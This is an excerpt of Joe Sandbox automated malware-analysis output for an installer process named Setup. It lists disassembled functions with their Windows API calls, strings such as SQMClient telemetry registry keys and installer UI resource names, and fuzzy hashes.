GetSystemTime.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,00000000,?,Function_00007AF4), ref: 6C5E05DD
SystemTimeToFileTime.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,00000000,?,Function_00007AF4), ref: 6C5E05F1

Part of subcall function 6C5DE552: RegOpenKeyExW.ADVAPI32(?,80000001,00000000,-00020005,?,00000000,?,?,?,?,6C5DE526,80000001,?,?), ref: 6C5DE5A8

Strings

Software\Microsoft\SQMClient\Windows\DisabledSessions, xrefs: 6C5E0668
%s\%s\%s, xrefs: 6C5DE4C5
Software\Microsoft\SQMClient, xrefs: 6C5DE4C0
Sampling, xrefs: 6C5DE4BA

Memory Dump Source

Source File: 00000004.00000002.2635960608.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000004.00000002.2635854338.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2636151386.000000006C5F0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2636285243.000000006C5F1000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6c5d0000_Setup.jbxd

Similarity

API ID: Time$System$FileOpen_vsnwprintfmemset
String ID: %s\%s\%s$Sampling$Software\Microsoft\SQMClient$Software\Microsoft\SQMClient\Windows\DisabledSessions
API String ID: 3792293845-3320126751
Opcode ID: b2251ccdedbe7ef7e3a5d99875c7095a76eefdca1a6f419af01072ab0c614556
Instruction ID: 8a48a4c3c7ef0c410a02325456518afeb90be19c64b2441f4cd28cb540393b6c
Opcode Fuzzy Hash: b2251ccdedbe7ef7e3a5d99875c7095a76eefdca1a6f419af01072ab0c614556
Instruction Fuzzy Hash: 01610331500348ABDF058E58DC84FEEB7B8EB89358F2104DAE524A6952D771EE89CF58

Function 63954B2A Relevance: 12.4, APIs: 1, Strings: 6, Instructions: 182COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 63954B31

Part of subcall function 63953AD4: __EH_prolog3.LIBCMT ref: 63953ADB

Part of subcall function 6395396A: __EH_prolog3.LIBCMT ref: 63953971

Part of subcall function 6395E8E8: __EH_prolog3.LIBCMT ref: 6395E8EF

Part of subcall function 6395434E: __EH_prolog3.LIBCMT ref: 63954355

Part of subcall function 63951F81: __EH_prolog3.LIBCMT ref: 63951F88

Strings

ServiceListBox, xrefs: 63954CB6
DiskSpaceInfo, xrefs: 63954D09
RefreshButton, xrefs: 63954B67
ProcessListBox, xrefs: 63954C63
ProcessStatusIcon, xrefs: 63954BBD
ServiceStatusIcon, xrefs: 63954C10

Memory Dump Source

Source File: 00000004.00000002.2635226428.0000000063941000.00000020.00000001.01000000.00000011.sdmp, Offset: 63940000, based on PE: true

Associated: 00000004.00000002.2635097263.0000000063940000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 00000004.00000002.2635415289.000000006397F000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 00000004.00000002.2635547854.0000000063980000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 00000004.00000002.2635631210.0000000063982000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 00000004.00000002.2635742018.0000000063985000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_63940000_Setup.jbxd

Similarity

API ID: H_prolog3
String ID: DiskSpaceInfo$ProcessListBox$ProcessStatusIcon$RefreshButton$ServiceListBox$ServiceStatusIcon
API String ID: 431132790-2340012964
Opcode ID: 31325e66cf687b08ef806661e58bc35f2ea7d64c0ea408c8fb9908ced208104e
Instruction ID: 2ffb15810f5a15d084048a4726b57acef62726460342c2e3dbdeeaa0fcb2e35f
Opcode Fuzzy Hash: 31325e66cf687b08ef806661e58bc35f2ea7d64c0ea408c8fb9908ced208104e
Instruction Fuzzy Hash: 7D715F7190424CEFDB00DBE8C944BDEB7E8AF29728F188199F558E7281D734DA499F21

Function 63953AD4 Relevance: 12.4, APIs: 1, Strings: 6, Instructions: 174COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 63953ADB

Part of subcall function 6395E8E8: __EH_prolog3.LIBCMT ref: 6395E8EF

Part of subcall function 6394D76F: __EH_prolog3.LIBCMT ref: 6394D776

Part of subcall function 6395381C: __EH_prolog3.LIBCMT ref: 63953823

Strings

SubTitle, xrefs: 63953B34
SysLink, xrefs: 63953BEA
File, xrefs: 63953C48
Hide, xrefs: 63953C9C
Title, xrefs: 63953AE4
Static, xrefs: 63953B87

Memory Dump Source

Source File: 00000004.00000002.2635226428.0000000063941000.00000020.00000001.01000000.00000011.sdmp, Offset: 63940000, based on PE: true

Associated: 00000004.00000002.2635097263.0000000063940000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 00000004.00000002.2635415289.000000006397F000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 00000004.00000002.2635547854.0000000063980000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 00000004.00000002.2635631210.0000000063982000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 00000004.00000002.2635742018.0000000063985000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_63940000_Setup.jbxd

Similarity

API ID: H_prolog3
String ID: File$Hide$Static$SubTitle$SysLink$Title
API String ID: 431132790-4216723965
Opcode ID: 9ef7dc48868f55bbc119c679f4b0ea76c6f60d77e41ff0579629b5334208c155
Instruction ID: fcc71bb91b72c992a66c42bef48781fa51f580886ccd9ca071082246b0ebafbd
Opcode Fuzzy Hash: 9ef7dc48868f55bbc119c679f4b0ea76c6f60d77e41ff0579629b5334208c155
Instruction Fuzzy Hash: 0461397190024DEFDF00DBA8C944BDEB7B8AF19728F188198F414EB282C775EA44DB61

Function 6C5D2885 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 127synchronizationCOMMON

Download Yara Rule

APIs

InitializeCriticalSectionAndSpinCount.KERNEL32(00000004,00000FA0,?,00000000,00000000), ref: 6C5D28C4
memset.MSVCRT ref: 6C5D3C7D
OpenMutexW.KERNEL32(00100000,00000000,?,?,?,?,?,?,00000000,00000000), ref: 6C5D3CB1
CreateMutexW.KERNEL32(00000000,00000000,?,?,?,?,?,?,00000000,00000000), ref: 6C5D3CC0
GetLastError.KERNEL32 ref: 6C5E3E29

Strings

Local\SqmLock_%s, xrefs: 6C5D3C83

Memory Dump Source

Source File: 00000004.00000002.2635960608.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000004.00000002.2635854338.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2636151386.000000006C5F0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2636285243.000000006C5F1000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6c5d0000_Setup.jbxd

Similarity

API ID: Mutex$CountCreateCriticalErrorInitializeLastOpenSectionSpinmemset
String ID: Local\SqmLock_%s
API String ID: 435864437-4290917916
Opcode ID: c725941a7353ef35e200d20b35b6b62d54623984ee613ff2564e3dcf794153b7
Instruction ID: 2c1c65e6b70f949ffc4268167ecf1b7a24eec7466b42e5cc0b33bcb0b1af789d
Opcode Fuzzy Hash: c725941a7353ef35e200d20b35b6b62d54623984ee613ff2564e3dcf794153b7
Instruction Fuzzy Hash: EE41E030A00304EFCB508F598D88F9A7AF9BB49348F5604A9E595E7A61C770DCC88F58

Function 6C5D443B Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 58libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(SensApi.dll,00000000,?), ref: 6C5D4452
GetProcAddress.KERNEL32(00000000,IsNetworkAlive), ref: 6C5D4468
FreeLibrary.KERNEL32(00000000), ref: 6C5D447F
GetLastError.KERNEL32 ref: 6C5DF8D5
GetLastError.KERNEL32 ref: 6C5DF912

Strings

IsNetworkAlive, xrefs: 6C5D4462
SensApi.dll, xrefs: 6C5D4445

Memory Dump Source

Source File: 00000004.00000002.2635960608.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000004.00000002.2635854338.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2636151386.000000006C5F0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2636285243.000000006C5F1000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6c5d0000_Setup.jbxd

Similarity

API ID: ErrorLastLibrary$AddressFreeLoadProc
String ID: IsNetworkAlive$SensApi.dll
API String ID: 1529210728-555838347
Opcode ID: 876b4cd0803108691802b36d900625dedc8dda483025abb4d6da22b8180a7076
Instruction ID: e1e710d969dcaf9b427f0ccec936f1143356f45335bbaa0494c2f15fc5ec537a
Opcode Fuzzy Hash: 876b4cd0803108691802b36d900625dedc8dda483025abb4d6da22b8180a7076
Instruction Fuzzy Hash: EE11E032241350AFCB448F99CC08F8B3ABDBB85316B170540F924C2951C730E8858BAD

Function 6C5D2724 Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 55libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(kernel32.dll,00000000,6C5F0180,?,6C5D270F,00000000,?,6C5D26C6,?,?,6C5D19CB,Microsoft\Windows\SoftwareQualityMetricsClient,6C5F0180,00000000,?,6C5D1C30), ref: 6C5D2732
GetProcAddress.KERNEL32(00000000,IsWow64Process), ref: 6C5D2748
FreeLibrary.KERNEL32(00000000,?,6C5D270F,00000000,?,6C5D26C6,?,?,6C5D19CB,Microsoft\Windows\SoftwareQualityMetricsClient,6C5F0180,00000000,?,6C5D1C30,?,?), ref: 6C5D2761
GetLastError.KERNEL32(?,6C5D270F,00000000,?,6C5D26C6,?,?,6C5D19CB,Microsoft\Windows\SoftwareQualityMetricsClient,6C5F0180,00000000,?,6C5D1C30,?,?,?), ref: 6C5DF9D0
GetLastError.KERNEL32(?,6C5D270F,00000000,?,6C5D26C6,?,?,6C5D19CB,Microsoft\Windows\SoftwareQualityMetricsClient,6C5F0180,00000000,?,6C5D1C30,?,?,?), ref: 6C5DFA0D

Strings

kernel32.dll, xrefs: 6C5D272B
IsWow64Process, xrefs: 6C5D2742

Memory Dump Source

Source File: 00000004.00000002.2635960608.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000004.00000002.2635854338.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2636151386.000000006C5F0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2636285243.000000006C5F1000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6c5d0000_Setup.jbxd

Similarity

API ID: ErrorLastLibrary$AddressFreeLoadProc
String ID: IsWow64Process$kernel32.dll
API String ID: 1529210728-3024904723
Opcode ID: fc29a4fde76ff99380080c38c1f47b566de63009a7e3dc114eafad1db5bfa117
Instruction ID: cb2d1d689653566ef24dd0275610fc8f6ad8a619e5ddedde626f51361d506a93
Opcode Fuzzy Hash: fc29a4fde76ff99380080c38c1f47b566de63009a7e3dc114eafad1db5bfa117
Instruction Fuzzy Hash: B911E132201341ABCB959B59CD48E9B3BB9FB86396B434051F924C6961C730EC448F6D

Function 63959B4C Relevance: 12.3, APIs: 1, Strings: 6, Instructions: 49COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 63959B53

Part of subcall function 6394C3BC: __EH_prolog3.LIBCMT ref: 6394C3C3
Part of subcall function 6394C3BC: GetCommandLineW.KERNEL32(0000001C,63959B69,?,00000008,6395A8A4), ref: 6394C3C8

Strings

IDS_ROLLBACK_PROGRESS_BAR_HEADER, xrefs: 63959B9C
IDS_CREATE_LAYOUT_PROGRESS_BAR_HEADER, xrefs: 63959B87
IDS_UNINSTALL_PROGRESS_BAR_HEADER, xrefs: 63959B95
IDS_INSTALL_PROGRESS_BAR_HEADER, xrefs: 63959B5F
IDS_UNINSTALLPATCH_PROGRESS_BAR_HEADER, xrefs: 63959B80
IDS_REPAIR_PROGRESS_BAR_HEADER, xrefs: 63959B8E

Memory Dump Source

Source File: 00000004.00000002.2635226428.0000000063941000.00000020.00000001.01000000.00000011.sdmp, Offset: 63940000, based on PE: true

Associated: 00000004.00000002.2635097263.0000000063940000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 00000004.00000002.2635415289.000000006397F000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 00000004.00000002.2635547854.0000000063980000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 00000004.00000002.2635631210.0000000063982000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 00000004.00000002.2635742018.0000000063985000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_63940000_Setup.jbxd

Similarity

API ID: H_prolog3$CommandLine
String ID: IDS_CREATE_LAYOUT_PROGRESS_BAR_HEADER$IDS_INSTALL_PROGRESS_BAR_HEADER$IDS_REPAIR_PROGRESS_BAR_HEADER$IDS_ROLLBACK_PROGRESS_BAR_HEADER$IDS_UNINSTALLPATCH_PROGRESS_BAR_HEADER$IDS_UNINSTALL_PROGRESS_BAR_HEADER
API String ID: 1384747822-3246460586
Opcode ID: 9b4aa51e76f2b4394e446039d6914b27d301f34aa5ba557a1932b199e733a8a4
Instruction ID: b24343afe53adf7162d529f420feee6175d961f47be495e0dd66235289390acf
Opcode Fuzzy Hash: 9b4aa51e76f2b4394e446039d6914b27d301f34aa5ba557a1932b199e733a8a4
Instruction Fuzzy Hash: B9018FF242070B8BFB20DF7CC6456693676FB9AF79F980509F010AB285DA32D5A08F11

Function 6C5D247C Relevance: 12.3, APIs: 4, Strings: 3, Instructions: 36libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(advapi32,?,6C5D19A1,00000000,?,6C5D1C30,?,?,?,6C5D1C70,0000002C), ref: 6C5D2484
GetProcAddress.KERNEL32(00000000,TraceMessage), ref: 6C5D24A1
GetProcAddress.KERNEL32(00000000,TraceMessageVa), ref: 6C5D24C0
FreeLibrary.KERNEL32(00000000,?,6C5D19A1,00000000,?,6C5D1C30,?,?,?,6C5D1C70,0000002C), ref: 6C5D24D0

Strings

TraceMessageVa, xrefs: 6C5D24B0
advapi32, xrefs: 6C5D247F
TraceMessage, xrefs: 6C5D249B

Memory Dump Source

Source File: 00000004.00000002.2635960608.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000004.00000002.2635854338.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2636151386.000000006C5F0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2636285243.000000006C5F1000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6c5d0000_Setup.jbxd

Similarity

API ID: AddressLibraryProc$FreeLoad
String ID: TraceMessage$TraceMessageVa$advapi32
API String ID: 2256533930-3542275927
Opcode ID: 75157431c5970b5d6e2cc6fb5f751df54769fcd73ab22c6db0d76d2040b36fb6
Instruction ID: 3ff80364aff62007c737d1ce69be288d32caff16817e5443891288da62b15e06
Opcode Fuzzy Hash: 75157431c5970b5d6e2cc6fb5f751df54769fcd73ab22c6db0d76d2040b36fb6
Instruction Fuzzy Hash: CBF04F726013919BCF888B6CAD49B573BF8B7C6765B9B011BE828C2A05C77094419F6C

Function 6394E9B3 Relevance: 12.1, APIs: 8, Instructions: 109COMMON

Download Yara Rule

APIs

CallNextHookEx.USER32(?,00000005,?,?), ref: 6394E9CF
UnhookWindowsHookEx.USER32(?), ref: 6394E9FD

Memory Dump Source

Source File: 00000004.00000002.2635226428.0000000063941000.00000020.00000001.01000000.00000011.sdmp, Offset: 63940000, based on PE: true

Associated: 00000004.00000002.2635097263.0000000063940000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 00000004.00000002.2635415289.000000006397F000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 00000004.00000002.2635547854.0000000063980000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 00000004.00000002.2635631210.0000000063982000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 00000004.00000002.2635742018.0000000063985000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_63940000_Setup.jbxd

Similarity

API ID: Hook$CallNextUnhookWindows
String ID:
API String ID: 969045306-0
Opcode ID: 33d97b4016e0fd1ffd07de1c0738f71c0ab4645b7d1a106a3d8d96e583adc05e
Instruction ID: a05d54123b88de78016993d2d078f2b01605702864e03f3ce4a552ef4769accd
Opcode Fuzzy Hash: 33d97b4016e0fd1ffd07de1c0738f71c0ab4645b7d1a106a3d8d96e583adc05e
Instruction Fuzzy Hash: 10415B31A40B09EFEB10EF28C888E9977B9FF02B55F148514F465DA1A2D331E954CF00

Function 63950B43 Relevance: 12.1, APIs: 8, Instructions: 77windowkeyboardCOMMON

Download Yara Rule

APIs

GetKeyState.USER32(00000010), ref: 63950B58
GetParent.USER32 ref: 63950B79
GetParent.USER32 ref: 63950B8C
SendMessageW.USER32(00000000,000006DB,00000000,00000000), ref: 63950B9E
GetParent.USER32(?), ref: 63950BDB
SendMessageW.USER32(00000000,000006DA,00000000,00000000), ref: 63950BEF
GetParent.USER32(000000FF), ref: 63950BFA
SendMessageW.USER32(00000000,000006DD,000000FF,000000FF), ref: 63950C08

Memory Dump Source

Source File: 00000004.00000002.2635226428.0000000063941000.00000020.00000001.01000000.00000011.sdmp, Offset: 63940000, based on PE: true

Associated: 00000004.00000002.2635097263.0000000063940000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 00000004.00000002.2635415289.000000006397F000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 00000004.00000002.2635547854.0000000063980000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 00000004.00000002.2635631210.0000000063982000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 00000004.00000002.2635742018.0000000063985000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_63940000_Setup.jbxd

Similarity

API ID: Parent$MessageSend$State
String ID:
API String ID: 1493399426-0
Opcode ID: 3524e43cf1364cdddfbc0382ca69dc123dd733160d3c124181f21fc919820654
Instruction ID: 7c4f37caefdc569d51fdbdc8a3b0be1249dddef3a0ea88ca8c6b111db19114c2
Opcode Fuzzy Hash: 3524e43cf1364cdddfbc0382ca69dc123dd733160d3c124181f21fc919820654
Instruction Fuzzy Hash: 2821AE34904209BFEF11EBA4CC4AB9DBFB8EB027ADF108254F161AA1E1D7749661CF50

Function 6C5D17EB Relevance: 12.1, APIs: 8, Instructions: 65COMMON

Download Yara Rule

APIs

malloc.MSVCRT ref: 6C5D17F6
_callnewh.MSVCRT ref: 6C5E4473
std::bad_exception::bad_exception.LIBCMT ref: 6C5E44AC
_CxxThrowException.MSVCRT(00000001,6C5EE290), ref: 6C5E44BA
_callnewh.MSVCRT ref: 6C5E44C3
std::bad_exception::bad_exception.LIBCMT ref: 6C5E44FC
_CxxThrowException.MSVCRT(00000001,6C5EE290), ref: 6C5E450A

Memory Dump Source

Source File: 00000004.00000002.2635960608.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000004.00000002.2635854338.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2636151386.000000006C5F0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2636285243.000000006C5F1000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6c5d0000_Setup.jbxd

Similarity

API ID: ExceptionThrow_callnewhstd::bad_exception::bad_exception$malloc
String ID:
API String ID: 2452255883-0
Opcode ID: 8eca3809b62caa4370d656490e4a7dae9b74aae29612f411f7fea02f3214ea25
Instruction ID: 9dfdc407bf4866f328916fe1bf8f49170b5fa8f5277aaff51dc46152c8914a48
Opcode Fuzzy Hash: 8eca3809b62caa4370d656490e4a7dae9b74aae29612f411f7fea02f3214ea25
Instruction Fuzzy Hash: 8411E932A0421CA6DF0997B0EC459DE3F799FC831CF154455EC21E5D51EFB1DE0A9690

Function 6C5DA2A6 Relevance: 11.0, APIs: 5, Strings: 1, Instructions: 452fileCOMMON

Download Yara Rule

APIs

Part of subcall function 6C5D1967: malloc.MSVCRT(?,6C5F0554), ref: 6C5D1979

CreateFileW.KERNEL32(6C5DACC8,C0000000,00000000,00000000,00000001,00000002,00002080,00000000,00000000,?,00000000,00000010,?,00000000,00000010,00000094), ref: 6C5DA465
WriteFile.KERNEL32(000003E0,00000000,?,6C5DACC8,00000000,?,?), ref: 6C5DA488
CloseHandle.KERNEL32(000003E0,?,?), ref: 6C5DA4A8

Strings

x, xrefs: 6C5DA333

Memory Dump Source

Source File: 00000004.00000002.2635960608.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000004.00000002.2635854338.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2636151386.000000006C5F0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2636285243.000000006C5F1000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6c5d0000_Setup.jbxd

Similarity

API ID: File$CloseCreateHandleWritemalloc
String ID: x
API String ID: 4113784837-2363233923
Opcode ID: 373afd6dd4eb0f0f6b7c336daadb8d901aac65d0c43243932ab57a773181adea
Instruction ID: 681781a582b535fc1f1fbdb2d4645fa16e2456a5ecf01bdd8aff7990d05c2bc2
Opcode Fuzzy Hash: 373afd6dd4eb0f0f6b7c336daadb8d901aac65d0c43243932ab57a773181adea
Instruction Fuzzy Hash: AD02AE309413599FDB15CF88CC85FAF7BB5BB49318F224599E920ABA61C331ED84CB54

Function 639548B6 Relevance: 10.7, APIs: 1, Strings: 5, Instructions: 180COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 639548BD

Part of subcall function 6395E8E8: __EH_prolog3.LIBCMT ref: 6395E8EF

Part of subcall function 6394D76F: __EH_prolog3.LIBCMT ref: 6394D776

Part of subcall function 63951F81: __EH_prolog3.LIBCMT ref: 63951F88

Strings

Drive2, xrefs: 639549B8
Drive3, xrefs: 63954A45
Text, xrefs: 639548CD
Placement, xrefs: 63954930
Drive1, xrefs: 63954923

Memory Dump Source

Source File: 00000004.00000002.2635226428.0000000063941000.00000020.00000001.01000000.00000011.sdmp, Offset: 63940000, based on PE: true

Associated: 00000004.00000002.2635097263.0000000063940000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 00000004.00000002.2635415289.000000006397F000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 00000004.00000002.2635547854.0000000063980000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 00000004.00000002.2635631210.0000000063982000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 00000004.00000002.2635742018.0000000063985000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_63940000_Setup.jbxd

Similarity

API ID: H_prolog3
String ID: Drive1$Drive2$Drive3$Placement$Text
API String ID: 431132790-3260609399
Opcode ID: 82d5f5731c55b29e30ca54c4fadfb99e721469887342cc756751527240cfe7ae
Instruction ID: bcf3f9409c3d2df40fbfe4e1a905df14996e9e8dd4bcd54184e53ad51809950d
Opcode Fuzzy Hash: 82d5f5731c55b29e30ca54c4fadfb99e721469887342cc756751527240cfe7ae
Instruction Fuzzy Hash: 9B714D71905248DFEB00DBE8C944BDEBBB8AF29B18F184198F514E7282CB35DA45DF61

Function 63957FE0 Relevance: 10.7, APIs: 7, Instructions: 175COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 63957FE7

Part of subcall function 6395E8E8: __EH_prolog3.LIBCMT ref: 6395E8EF

PathGetDriveNumberW.SHLWAPI(?,?,?,00000014,63959180,?,?,?,?,?,?,?,?), ref: 63958015
PathGetDriveNumberW.SHLWAPI(?), ref: 6395801C
PathGetDriveNumberW.SHLWAPI(?,?,?,?), ref: 63958064
PathGetDriveNumberW.SHLWAPI(?), ref: 6395806B
PathGetDriveNumberW.SHLWAPI(00000001,00000001,?,?), ref: 639580B3
PathGetDriveNumberW.SHLWAPI(?), ref: 639580BA

Memory Dump Source

Source File: 00000004.00000002.2635226428.0000000063941000.00000020.00000001.01000000.00000011.sdmp, Offset: 63940000, based on PE: true

Associated: 00000004.00000002.2635097263.0000000063940000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 00000004.00000002.2635415289.000000006397F000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 00000004.00000002.2635547854.0000000063980000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 00000004.00000002.2635631210.0000000063982000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 00000004.00000002.2635742018.0000000063985000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_63940000_Setup.jbxd

Similarity

API ID: DriveNumberPath$H_prolog3
String ID:
API String ID: 2285536258-0
Opcode ID: b8f9ceb3eca95ab724989acedfa5a5e9430b8bd8265802cec882478b017f9e2f
Instruction ID: 0a5218f0e77690a73d42a97b8f41ab681f26bd0412be6b708919289832379418
Opcode Fuzzy Hash: b8f9ceb3eca95ab724989acedfa5a5e9430b8bd8265802cec882478b017f9e2f
Instruction Fuzzy Hash: AA81F7759043099FCB04DF68C48499DBBB1FF49738B29C599E858AB3A1C731E991CF90

Function 6C5DE1A5 Relevance: 10.7, APIs: 7, Instructions: 169threadCOMMON

Download Yara Rule

APIs

GetCurrentThread.KERNEL32 ref: 6C5DE1F0
GetThreadPriority.KERNEL32(00000000,?,6C5DBFF6,?,00000000,00000000,?,?,?,PUT,00000000,?,Function_00007AF4), ref: 6C5DE1F3
GetCurrentThread.KERNEL32 ref: 6C5DE201
SetThreadPriority.KERNEL32(00000000,?,6C5DBFF6,?,00000000,00000000,?,?,?,PUT,00000000,?,Function_00007AF4), ref: 6C5DE204
GetCurrentThread.KERNEL32 ref: 6C5DE313
SetThreadPriority.KERNEL32(00000000,?,6C5DBFF6,?,00000000,00000000,?,?,?,PUT,00000000,?,Function_00007AF4), ref: 6C5DE31A

Memory Dump Source

Source File: 00000004.00000002.2635960608.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000004.00000002.2635854338.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2636151386.000000006C5F0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2636285243.000000006C5F1000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6c5d0000_Setup.jbxd

Similarity

API ID: Thread$CurrentPriority
String ID:
API String ID: 1343868529-0
Opcode ID: dfda4ccb6d2e3af210f7bb52f6b7ed5530dab6e3f248c261db3429e2b962b65a
Instruction ID: 53511f9760f657b6335696bf3100c1e2554fda2764ddbbb0baf2bc20ceb31858
Opcode Fuzzy Hash: dfda4ccb6d2e3af210f7bb52f6b7ed5530dab6e3f248c261db3429e2b962b65a
Instruction Fuzzy Hash: 62519030A002949BCB15DF28CC88E99B7F6AB89344F560499F159D7B50C7B0EDC4CF98

Function 6C5D4197 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 147libraryCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(Winhttp.dll), ref: 6C5D41C6
FreeLibrary.KERNEL32(00000000), ref: 6C5D41D5
EnterCriticalSection.KERNEL32(6C5F0168,?,?,?,?,?), ref: 6C5D41F9

Part of subcall function 6C5D4281: memset.MSVCRT ref: 6C5D42CF
Part of subcall function 6C5D4281: EnterCriticalSection.KERNEL32(00000030,?,00000104,?,80000002,Software\Microsoft\SQMClient,DoNotDeleteFileAfterUpload,?,00000000,?,6C5F0168), ref: 6C5D434C
Part of subcall function 6C5D4281: FindFirstFileW.KERNEL32(?,?,?,6C5F0168), ref: 6C5D4392
Part of subcall function 6C5D4281: LeaveCriticalSection.KERNEL32(?,?,6C5F0168), ref: 6C5D43CD

LeaveCriticalSection.KERNEL32(6C5F0168,?,?,?,?,?,?,00000000,?,?,?,?,?), ref: 6C5D424A
SetLastError.KERNEL32(00000000,?,?,?), ref: 6C5D4253

Strings

Winhttp.dll, xrefs: 6C5D41C1

Memory Dump Source

Source File: 00000004.00000002.2635960608.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000004.00000002.2635854338.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2636151386.000000006C5F0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2636285243.000000006C5F1000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

